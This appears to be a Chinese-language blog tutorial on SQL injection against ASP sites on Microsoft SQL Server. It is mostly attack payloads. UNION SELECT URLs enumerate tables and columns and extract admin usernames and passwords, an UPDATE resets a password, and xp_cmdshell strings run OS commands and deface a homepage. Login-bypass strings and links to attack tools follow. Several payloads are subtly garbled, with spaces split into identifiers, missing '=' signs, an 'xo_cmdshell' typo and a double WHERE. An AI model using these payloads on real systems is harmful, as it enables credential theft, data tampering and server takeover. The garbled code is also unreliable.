SQL Injection 的原理與測試方式

SQL Injection 的原理、方法、工具

駭客尋找的訊息

如何知道該伺服器具有SQL injection 的弱點呢?

有兩個簡單的方式,

  • 透過Google Hacking 的方式來尋找
  • 到該網站尋找回傳 SQL Error 的訊息

這邊主要介紹如何透過 SQL Error回傳的錯誤訊息達到SQL injection

如何讓SQL 強制回傳錯誤訊息呢? 最常見的方式就是輸入   

因為單引號在 SQL Server 中是有特別意義。

如果該網站沒有特別對 SQL Error 做處理,就會出現類似下列的錯誤訊息。

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character
string ‘’’.
/corner/asp/checklogin1.asp, line 7

只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

強調三次,因為對於正常 SQL Server Developer來說,

或許目前還無法連結SQL Error 與SQL Injection 的關係,請看接下來的幾個範例。

 

SQL Injection範例1

假設這個網站透過 Http GET 也就是網址的方式傳遞參數,ID = 5

http://www.Victim.com/index.asp?id=5

那麼我們可以另外輸入 SQL injection 字串,

http://www.Victim.com/index.asp?id=8
UNION SELECT TOP 1 TABLE _ NAME FROM
INFORMATION _ SCHEMA.TABLES —

在 id=8 之後加入 UNION SELECT的SQL 語法

UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES —

這段語法會回傳資料庫第一個Table名稱

因此我們會得到下列的回傳錯誤訊息,間接知道 table name 為 “UserName”

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘UserName’ to
a column of data type int.
/index.asp, line 5

SQL Injection範例2

透過範例1我們知道第一個 table 名稱,那麼要如何知道其他 Table 名稱呢?

http://www.Victim.com/index.asp?id=8
UNION SELECT TOP 1 TABLE _ NAME FROM
INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME NOT IN
(’UserName’)–

SQL Injection範例3

或是利用 like的方式,將搜尋其他 table ,

這個範例我們搜尋Table名稱含有 login

http://www.Victim.com/index.asp?id=9
UNION SELECT TOP 1 TABLE _ NAME FROM
INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME LIKE
’%25login%25’–

回傳錯誤訊息如下,因此我們知道另外有一個 admin_login的 table

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login
to a column of data type int.
/index.asp, line 5

SQL Injection 範例4: 如何得知欄位名稱?

知道有一個 Table 名稱為 admin_login之後,如何得知該 table 的欄位名稱呢?

http://www.victim.com/index.asp?id=10
UNION SELECT TOP 1 COLUMN _ NAME FROM
INFORMATION _ SCHEMA.COLUMNS WHERE TABLE _ NAME=’admin _ login’–

透過這個語句執行,會回傳下列訊息結果,我們得知其中一個欄位名稱為 login_id

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id
to a column of data type int.
/index.asp, line 5

接著再利用 Not in 的方式將其他欄位都取出

http://www.victim.com/index.asp?id=10
UNION SELECT TOP 1 COLUMN _ NAME FROM
INFORMATION _ SCHEMA.COLUMNSWHERE TABLE _ NAME=’admin _ login’
WHERE COLUMN _ NAME NOT IN (’login _ id’)

SQL Injection 範例5: 如何得取得資料內容?

在得知table名稱與欄位名稱後,就可以取得資料內容,得知使用者帳號密碼

http://www.victim.com/index.asp?id=10
UNION SELECT TOP 1 login _ name FROM admin _ login–

 

http://www.victim.com/index.asp?id=10
UNION SELECT TOP 1 password FROM admin _ login WHERE
login _ name=’john’–

SQL Injection 範例5: 如何得更改資料內容?

也可以利用這個方式更改資料庫密碼

http://www.somesite.com/index.asp?id=10
UPDATE ‘admin _ login’SET ‘password’ = ‘newPassword’

WHERE login _ name=’userName’–

SQL Injection 範例6: 執行系統指令?

SQL injection也可以用來執行作業系統指令,例如下列範例

執行指令

username’; exec master..xp _ cmdshell “insert OS command here” —

搜尋檔案

userName’ ; exec master..xo _ cmdshell “dir c:\*.*/s > c:\directory.txt” —

更改某網頁內容

userName’ ; exec master..xp _ cmdshell “echo you-are-defaced > c:\inetpub\wwwroot\index.htm” —

如何簡單測試?

可以輸入下列值,看看回傳訊息。

‘ OR 11–
“ OR 11–
‘ OR ‘a’’a
“ OR ‘a’’a
‘) OR (‘a’’a

SQL injection 自動測試工具

http://sqlmap.org/

http://www.hackerspedia.com/2014/12/download-havij-pro-117-pro-free.html

https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/

http://sqlninja.sourceforge.net/index.html

http://sourceforge.net/projects/absinthe/

Leave a Reply

Your email address will not be published.